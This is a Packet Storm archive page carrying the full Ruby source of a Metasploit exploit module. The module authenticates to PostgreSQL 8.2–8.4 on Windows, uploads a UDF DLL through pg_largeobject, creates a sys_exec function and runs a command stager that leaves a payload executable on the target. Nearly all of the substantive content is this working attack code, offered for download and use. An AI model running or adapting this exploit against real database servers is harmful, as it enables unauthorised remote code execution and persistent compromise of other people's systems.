what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PostgreSQL for Microsoft Windows Payload Execution

PostgreSQL for Microsoft Windows Payload Execution
Posted Mar 23, 2011
Authored by Bernardo Damele, todb | Site metasploit.com

This Metasploit module creates and enables a custom UDF (user defined function) on the target host via the UPDATE pg_largeobject method of binary injection. On default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres service account may write to the Windows temp directory, and may source UDF DLL's from there as well. PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are valid targets for this module. NOTE: This Metasploit module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL and the OID.

tags | exploit
systems | windows
SHA-256 | 213fac5f2720047b0fb55ff6cfa251c235b21927acee0824016b457a6d9d998a

PostgreSQL for Microsoft Windows Payload Execution

Change Mirror Download
##
# $Id: postgres_payload.rb 12115 2011-03-23 21:24:09Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Postgres
include Msf::Exploit::CmdStagerVBS

# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
'Description' => %q{
This module creates and enables a custom UDF (user defined function) on the
target host via the UPDATE pg_largeobject method of binary injection. On
default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
service account may write to the Windows temp directory, and may source
UDF DLL's from there as well.

PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are
valid targets for this module.

NOTE: This module will leave a payload executable on the target system when the
attack is finished, as well as the UDF DLL and the OID.
},
'Author' =>
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
'todb' # this Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12115 $',
'References' =>
[
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ], # Confirmed on XXX
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
])

deregister_options('SQL', 'RETURN_ROWSET')
end

# Buncha stuff to make typing easier.
def username; datastore['USERNAME']; end
def password; datastore['PASSWORD']; end
def database; datastore['DATABASE']; end
def verbose; datastore['VERBOSE']; end
def rhost; datastore['RHOST']; end
def rport; datastore['RPORT']; end

def execute_command(cmd, opts)
postgres_sys_exec(cmd)
end

def exploit
version = get_version(username,password,database,verbose)
case version
when :nocompat; print_error "Authentication successful, but not a compatable version."
when :noauth; print_error "Authentication failed."
when :noconn; print_error "Connection failed."
end
return unless version =~ /8\.[234]/
print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
unless tbl && fld && dll && oid
print_error "Could not upload the UDF DLL"
return
end
print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
ret_sys_exec = postgres_create_sys_exec(dll)
if ret_sys_exec
if @postgres_conn
execute_cmdstager({:linemax => 1500, :nodelete => true})
handler
postgres_logout if @postgres_conn
else
print_error "Lost connection."
return
end
end
postgres_logout if @postgres_conn
end

def dll_fname(version)
File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
end

# A shorter version of do_fingerprint from the postgres_version scanner
# module, specifically looking for versions that valid targets for this
# module.
def get_version(user=nil,pass=nil,database=nil,verbose=false)
begin
msg = "#{rhost}:#{rport} Postgres -"
password = pass || postgres_password
print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
# This also checks to see if it was compiled with a windows-based compiler --
# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
# Also, the method to write files to disk doesn't appear to work on 9.0, so
# tabling that version for now.
if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i
return $1
else
print_status "Found #{result[:auth]}"
return :nocompat
end
else
return :noauth
end
rescue Rex::ConnectionError
print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
return :noconn
end
end

end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close